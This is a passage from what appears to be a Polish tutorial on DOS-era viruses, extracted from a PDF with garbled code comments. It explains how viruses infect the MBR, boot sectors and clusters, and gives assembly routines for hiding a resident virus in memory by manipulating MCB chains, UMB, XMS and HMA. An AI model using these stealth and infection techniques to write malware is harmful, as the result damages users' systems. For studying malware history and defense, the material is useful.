B4h        zarezerwowana 
B6h        zarezerwowana 
B7h        BSDI file system 
B8h        BSDI plik wymiany 
C1h        DR DOS 6.0 LOGIN.EXE 12-bit FAT 
C4h        DR DOS 6.0 LOGIN.EXE 16-bit FAT 
C6h        DR DOS 6.0 LOGlN.EXE Huge 

background image

C7h        Syrinx Boot 
D8h        CP/M-86 
DBh        CP/M 
DBh        CTOS (ConvergentTechnologies OS) 
E1h        SpeedStor 12-bit FAT rozszerzona partycja 
E3h        DOS tylko do czytania 
E3h        Storage Dimensions 
E4h        SpeedStor 16-bit FAT rozszerzona partycja 
E5h        zarezerwowana 
E6h        zarezerwowana 
F1h        Storage Dimensions 
F2h        DOS 3.3+ 
F3h        zarezerwowana 
F4h        SpeedStor 
F4h        Storage Dimensions 
F6h        zarezerwowana 
FEh        LANstep 
FEh        IBM PS/2 IML 
FFh        Xenix 
 
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały 
adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym 
sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. 
Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w 
polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa 
aktywna i można z niej załadować system operacyjny. 
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w 
niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w 
innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy 
funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z 
powrotem na dysk przy użyciu funkcji (03/13). 
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po 
restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i 
sterowan

ie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a 

(poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie 
kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje 
obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 
0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje 
normalne wczytywanie systemu. 
 
4.3. Rekord ładujący (ang. BOOT-sector

Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: 
wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO 
(a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero 
program zawarty w BOOT-

sektorze ładuje plik zawierający jądro systemu (w przypadku 

systemu DOS - 

najczęściej IO.SYS). 

Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek 

background image

BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak 
widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a 
jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie. 
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych 
część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku 
BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h. 
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.   
Zawartość BOOT-sektora 
Adres 

Zawartość 

00-02 

Instrukcja skoku do pro

gramu ładującego system, najczęściej 

(OEBh ?? 90h). czyli JMP SHORT 

03-0A 

Nazwa wersji systemu (jako łańcuch ASCII) 

Początek bloku    BPB    + 
0B-0C 

Wielkość sektora w bajtach   

0E-0F 

Liczba sektorów zarezerwowanych na początku dysku 

10 

Liczba kopii FAT 

11-12 

Maksymalna liczba plików w katalogu głównym   

13-14 

Całkowita liczba sektorów na dysku logicznym (nie używane) 

15 

Bajt identyfikacji nośnika   

16-17 

Liczba sektorów zajętych przez FAT   

18-19 

Liczba sektorów na ścieżce   

1A-1B 

 

Liczba głowic dysku   

1C-1D 

 

Koniec bloku BPB   

 

24 

Numer fizyczny dysku 

25 

Zarezerwowane 

26 

Rozszerzony znacznik BOOT-sektora   

27-2A 

Numer woluminu   

2B-35 

Etykieta dysku                                                                   

36-3D 

Typ FAT zapisany jako łańcuch ASCII                         

??-1FF 

Program wczytujący system   

 
Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie 
oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w 
przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora 
łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń 
związanych z translacją sektorów logicznych na fizyczne. 
 
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters

Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne 
ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę 
jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje 
pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. 
File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji 
Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o 
ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 
0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego 

background image

długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez 
rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić 
końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku 
wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być 
porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko 
czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość 
pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego 
pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych 
odczyt

ów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych 

zawartych w tablicy FAT. 
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku 
(najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując 
na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i 
w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma 
następnie możliwość wczytania dalszej części programu na podsta 
wie przechowywanej oryginalne

j wartości pierwszej JAP oraz długości pliku. W celu 

zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych 
procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej 
realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, 
zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych 
przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie 
dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi 
dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, 
zawartego w BOOT-sektorze). 
Pełny opis bloku DPB zawarto w poniższej tabeli.   
Format bloku DPB 
Adres 

Zawartość 

00 

Numer dysku A:=0, B:=1, C:=2 

01 

Numer jednostki w programie obsługi   

02-03 

 

Wielkość sektora w bajtach 

05 

log2 (liczba sektorów w JAP) 

06 

Liczba zarezerwowanych sektorów na początku dysku 

08 

 

Ilość kopii tablicy FAT (najczęściej 2)   

09-0A 

Maksymalna ilość plików w katalogu głównym   

0B-0C 

Pierwszy sektor danych   

0F-10 

Liczba sektorów na FAT   

11-12 

Numer pierwszego sektora katalogu   

13-16 

Daleki wskaźnik do programu obsługi dysku 

17 

Bajt identyfikacji nośnika 

18 

Znacznik dostępu do dysku   

19-1C 

Daleki wskaźnik do następnego bloku DPB   

1D-1E 

Numer pierwszej wolnej JAP na dysku   

1F-20 

Liczba wolnych JAP na dysku 

 
Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na 
podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do 
kolejnych bloków DPB. Realizuje to poniższa sekwencja: 

background image

Przeszukiwanie łańcucha DPB 
mov AH,52h              ; funkcja DOS - pobierz adres do listy list (LL) 
INT 21h                 ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, 
w           
                        ; komˇrkach od ES:[BX] do ES:[BX+3] znajduje  

             

                        ; siŕ daleki wskačnik do pierwszego DPB 
LES BX,ES:[BX]          ; ES:BX wskazuje na pierwszy DPB  
NastŕpnyDPB:            ; pocz╣tek pŕtli 
LDS SI, ES:[BX+13h]     ; DS:SI wskazuje teraz na program obs│ugi LES 
BX,ES:[BX+19h]          ; ES:BX wskazuje teraz na nastŕpny bloku DPB, je┐eli jest         
                        ; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,  
MOV AX,ES 

 

     ; weč segment  

CMP AX,0FFFFh           ; czy ES=OFFFFh ?  
JNZ NastŕpnyDPB         ; jeťli nie, to jest jeszcze kolejny DPB  
CMP BX,AX               ; czy BX=OFFFFh?  
JNZ NastŕpnyDPB         ; jeťli nie, to jest jeszcze kolejny DPB 
 
4.5. Wirusy kombinowane (ang: multipartition
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów. 
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy 
partycji oraz ewentualnie BOOT-

sektory i inne pliki, nazywa się go wirusem typu 

multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego 
typu bardzo szybko rozprzestrzeniają się w systemie komputerowym. 
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich 
zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi 
wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby 
nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych 
przez system obszarów pamięci. 
Do in

stalacji można wykorzystać dowolny fragment pamięci, który na pewno nie 

zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się 
prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura 
obsługi przejętego przerwania). 
 

ROZDZIAŁ 5

 

 
5.1. Instalacja w tablicy wektorów przerwań 
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących 
się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak 
sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to 
większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w 
obszarze 0000:0200-

0000:0400 pojawia się 512-bajtowa luka, w której można umieścić 

kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, 
potrzebujące do swych celów małego obszaru pamięci operacyjnej, 
 
5.2. Instalacja w obszarze zmiennych DOS 

background image

W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar 
wykorzystywany przy 

starcie systemu. Po załadowaniu obszar ten zawiera nieistotne 

dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci 
systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa. 
 
5.3. Instalacja w pamięci poniżej 640kB i UMB 
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z 
których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). 
Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 
bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od 
granicy paragrafu. 
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - 
LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. 
Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli. 
Format MCB 
Adres 

Zawartość 

00 

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza 
ostatni blok w łańcuchu 

01-02 

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego 
właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment 
niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie 
niewidoczny dla programów przeglądających pamięć (dokładniej: będzie 
widoc

zny, ale będzie traktowany jako integralna część systemu) 

03-04 

Rozmiar bloku w 16-bajtowych paragrafach   

05-07 

Zarezerwowane dla systemu 

08-0F 

8-

bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. 

Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w 
to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to 
skrót od System Code. a SD od System Data) 

 
Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej 
polega na modyfi

kacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków 

MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku 
MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX 
znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się 
informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, 
poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość 
realizuje się za pomocą następującej sekwencji: 
; Poszukiwanie ostatniego bloku w │a˝cuchu mcb 
MOV AH,52H               ; funkcja DOS - weč adres do listy 
                         ; list (ll)  
INT 21H                  ; wywo│aj funkcjŕ 
MOV AX,ES:[BX-2]         ; AX=adres segmentowy pierwszego MCB 
NAST╩PNY: 
MOV DS,AX                ; ds wskazuje na sprawdzany blok MCB 
CMP BYTE PTR DS:[0], Z   ; czy ostatni blok ?  

background image

JE OSTATNI               ; skocz, jeťli tak 
INC AX                   ; dodaj rozmiar MCB (16 bajtˇw=1 paragraf)  
ADD AX, DS:[3]           ; dodaj d│ugoťŠ bloku zarz╣dzanego przez MCB 
JMP SHORT NASTEPNY       ; sprawdč nastŕpny blok 
OSTATNI:                 ; ds wskazuje na ostatni blok 
SUB DS:[3], ROZMIAR      ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) 
SUB DS:[12h], ROZMIAR    ;  warto tak┐e zmieniŠ adres pamiŕci niedostŕpnej dla 
 

                  

                         ;programu w PSP bie┐╣cego procesu 
 
Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez 
zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca 
sekwencja: 
; Zmniejszenie bloku przydzielonego aktualnemu procesowi 
MOV AH,62h                 ; funkcja DOS - weč adres PSP aktualnego procesu  
INT 21h                    ; uruchom funkcjŕ DOS, BX zawiera adres PSP  
DEC BX                     ; BX-1 zawiera adres MCB, bŕd╣cego w│aťcicielem bloku 
MOV DS,BX                  ; DS wskazuje na MCB  
SUB DS:[3], ROZMIAR        ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) 
SUB DS:[12h], ROZMIAR      ; warto tak┐e zmieniŠ adres pamiŕci niedostŕpnej dla 
 

 

                           ; programu w PSP bie┐╣cego procesu 
 
Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu 
(48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja 
polega na wpisaniu w pole 01h-

02h bloku MCB wartości 0008h, która oznacza, iż blok 

ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać 
dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, 
na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające 
pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' 
[odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. 
System Data)]. Tak zm

odyfikowany blok MCB nie będzie widziany przez programy 

przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca 
sekwencja: 
; Tworzenie sztucznego bloku systemowego 
MOV BX,ROZMIAR           ; BX = rozmiar ┐╣danej pamiŕci  
MOV AH,48h               ; funkcja DOS - przydziel pami੠ 
INT 21h                  ; wywo│aj funkcjŕ DOS 
JC BLAD                  ; Jeťli CF=1 to b│╣d, AX=segment pamiŕci  
DEC AX                   ; AX-1=segment z nag│ˇwkiem MCB (w│aťcicielem  
                         ; bloku amiŕci)  
MOV DS,AX                ;  DS = segment MCB  
MOV DS:[l],0008h         ;  zmie˝ MCB na systemowy 

background image

 
Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje 
programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki 
temu można powiększyć pewien blok wykorzystywany przez system lub programy 
rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym 
wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie 
oper

acje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł 

powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez 
żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed 
ewentualnym zwolnieniem, np. przez wpisanie w pole 03-

04h wartości 0008h. 

Sekwencja realizująca to zadanie wygląda następująco: 
; Powiŕkszenie jednego z blokˇw ju┐ u┐ytych  
MOV AH,52H               ; funkcja DOS - weč adres do listy list (LL)  
INT 21H                  ; wywo│aj funkcjŕ DOS 
MOV DX,ES:[BX-2]         ; AX==adres segmentowy pierwszego MCB 
NAST╩PNY: 
mov es,dx                ; DS wskazuje na sprawdzany blok mcb 
mov cl, byte PTR ES:[O]  ; zachowaj znacznik nag│ˇwka MCB  
MOV BX,ES:[3]            ; pobierz rozmiar bloku 
INC DX                   ; DOS wymaga adresu o l wiŕkszego od MCB  
MOV ES,DX                ; ES wskazuje na blok pamiŕci 
ADD DX,BX                ; dodaj d│ugoťŠ bloku zarz╣dzanego przez MCB 
ADD bx, rozmiar          ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych)  
MOV AH,4Ah               ; sprˇbuj zmieniŠ rozmiar bloku  
INT 21h                  ; wywo│aj funkcjŕ DOS  
JNC JESTBLOK             ; jeťli CFl, uda│o siŕ zmieniŠ blok 
CMP CL, Z                ; czy ostatni blok ?  
JNE NASTEPNY             ; sprawdč nastŕpny blok 
OSTATNI:                 ; nie uda│o siŕ powiŕkszyŠ ┐adnego bloku 
......                   ; cz໩ kodu wirusa, wykonuj╣ca 
 

                   ;  siŕ, gdy nie znaleziono bloku 

JESTBLOK: 
......                   ; uda│o siŕ powiŕkszyŠ blok, adres do niego jest w ES 
 
Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału 
pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają 
bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba 
wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch 
bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci 
niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu 
następującej sekwencji w asemblerze: 
; Do│╣czanie pamiŕci UMB do │a˝cucha UMB i zmiana strategii przydzia│u pamiŕci 
MOV AX,5800h             ; funkcja - pobierz aktualn╣ strategiŕ  

background image

INT 21h                  ; wywo│aj funkcjŕ DOS 
PUSH AX                  ; zachowaj odczytane strategiŕ 
MOV AX,5802h             ; weč informacjŕ o do│╣czeniu pamiŕci UMB  
INT 21h                  ; wywo│aj funkcjŕ DOS 
PUSH AX                  ; zachowaj informacjŕ na stosie 
MOV AX,5803h             ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a˝cucha 
MCB MOV BX,1                 ; podfunkcja - do│╣cz bloki  
INT 21h                  ; wywo│aj funkcjŕ DOS 
MOV AX,5801h             ; funkcja DOS - ustaw now╣ strategiŕ pamiŕci  
MOV BX,82h               ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek)  
INT 21h                  ; wywo│aj funkcjŕ DOS 
.......                  ; operacje na blokach MCB (na ca│ym ich │a˝cuchu) 
POP BX                   ; weč pierwotn╣ informacjŕ o do│╣czeniu pamiŕci UMB 
XOR BH,BH                ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL 
MOV AX, 5803h            ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a˝cucha 
mcb INT 21H                  ; wywo│aj funkcjŕ DOS 
POP BX                   ; przywrˇŠ pierwotn╣ strategiŕ 
MOV AX,5801h             ; funkcja DOS - ustaw now╣ strategiŕ pamiŕci wg BX  
INT 21h                  ; wywo│aj funkcjŕ DOS 
 
Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy 
ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest 
chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego 
jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w 
efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże 
wykryć intruza. 
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z 
mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za 
pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie 
procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku 
UMB za pomocą funkcji XMS ilustruje poniższa sekwencja: 
; Wykorzystanie mechanizmˇw XMS do przydzia│u bloku UMB 
MOV AX,4300H              ; funkcja - sprawdč, czy zainstalowany mened┐er XMS  
INT 2Fh                   ; wywo│aj przerwanie multipleksowane 
CMP AL,80h                ; czy zainstalowany mened┐er XMS?  
JNE NieMaXMS              ; skocz, jeťli nie jest zainstalowany 
MOV AX,4310H              ; funkcja - weč adres procedury  
INT 2Fh                   ; wywo│aj przerwanie multipleksowane 
MOV [PROCSEG],ES          ; zachowaj adres procedury mened┐era XMS  
MOV [PROCOFS],BX 
MOV AH,10h                ; funkcja XMS - przydziel pami੠UMB  
MOV DX,rozmiar            ; podaj iloťŠ ┐╣danej pamiŕci w paragrafach  
CALL [PROCSEG]            ; wywo│aj procedurŕ mened┐era XMS 

background image

CMP AX,l                  ; jeťli nie ma b│ŕdu, to AX-1  
JNE BLAD                  ; skocz, Jeťli AX<>1  
                          ; BX = adres przydzielonego bloku 
 
 
5.4. Instalacja w pamięci HMA 
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w 
pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do 
zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 
10FFEF=lMb+64K-

16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, 

aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system 
wykorzystuje HMA, 

zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS). 

Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci 
następującej sekwencji: 
                          ; Przydzia│ fragmentu pamiŕci HMA  
MOV AX,4A01h              ; funkcja - sprawdč iloťŠ wolnej HMA 
INT 2Fh                   ; wywo│aj przerwanie multipleksowane BX = iloťŠ wolnej           
                          ; pamiŕci HMA w bajtach,  
                          ; ES:DI wskazuje na wolny obszar HMA 
CMP BX, ROZMIAR           ; czy jest odpowiednia iloťŠ pamiŕci  
jb NieMaHMA               ; jeťli mniej, to nie przydzielaj  
MOV AX, 4A02h             ; funkcja - przydziel pami੠HMA  
MOV BX, ROZMIAR           ; rozmiar ┐╣danej pamiŕci  
INT 2Fh                   ; wywo│aj przerwanie multipleksowane 
 

 

              ; BX = iloťŠ przydzielonej pamiŕci HMA w paragrafach 

 

 

              ; ES:DI wskazuje na przydzielony obszar HMA 

NieMaHMA: 
 
Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA 
(ale tylk

o jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy 

skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS 
(najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie: 
                          ; Przydziel ca│e pami੠HMA programowi 
MOV AX,4300h              ; funkcja - sprawdč, czy zainstalowany mened┐er XMS  
INT 2Fh                   ; wywo│aj przerwanie multipleksowane 
CMP AL,80h                ; czy zainstalowany mened┐er XMS ?  
JNE NieMaXMS              ; skocz, jeťli nie jest zainstalowany 
MOV AX,4310h              ; funkcja - weč adres procedury   
INT 2Fh                   ;  wywo│aj przerwanie multipleksowane 
MOV [PROCSEG],ES          ; zachowaj adres procedury mened┐era XMS  
MOV [PROCOFS],BX 
MOV AH,l                  ; funkcja XMS - przydziel pami੠HMA  
MOV DX,ROZMIAR            ; podaj iloťŠ ┐╣danej pamiŕci w bajtach  

background image

CALL [PROCSEG]            ; wywo│aj procedurŕ mened┐era XMS 
CMP AX, l                 ; jeťli nie ma b│ŕdu, to AX=1  
JNE BLAD                  ; skocz, jeťli AX1 
 
 
5.5. Nietypowe metody instalacji   
 
5.5.1. Pamięć ekranu 
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej 
przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci 
ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w 
segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są 
dane dla trybów tekstowych ekranu. 
 
5.5.2. Bufory dyskowe DOS 
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca 
wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów 
stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w 
obszarach roboczych systemu, jest 

uznawany za jego część oraz, co istotne, nie 

zmniejsza długości pamięci dostępnej dla programów użytkownika. 
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą 
kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 
80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury 
obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie 
rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 
0000:0000 

do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) 

w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje 
więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do 
przerwania 0FFh, zaj

mującego komórki 0000:03FC - 0000:03FF. 

 

ROZDZIAŁ 6 

 
6.1. Najczęściej przejmowane i wykorzystywane przerwania 
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania: 
> 01h - 

Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w 

rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez 
wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego 
elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania 
wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez 
włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba 
modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala 
wykryć uruchomiony debugger. 
> 03h - 

Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 

0CCh) stosowana przez debuggery; 
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do 
wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie 

background image

jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony 
debugger. 
> 08h - 

Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę 

przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można 
zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania 
przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, 
rzadziej do autoweryfikacji wirusa. 
> 09h - 

Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu 

klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję 
(4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla 
funkcji przerwania 16h. Podobnie Jak IRQ O, prze

rwanie 09h używane jest zwykle do 

efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest 
sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza). 
> 10h - 

Przerwanie programowe BIOS obsługujące funkcje ekranu; 

używane do efektów specjalnych lub w celu informowania innych kopii wirusa o 
obecności w pamięci. 
> 12h - 

Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci 

operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej 
systemowej BIOS, zn

ajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują 

głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci 
dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować 
przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem 
przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności 
w systemie. 
> 13h - 

Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie 

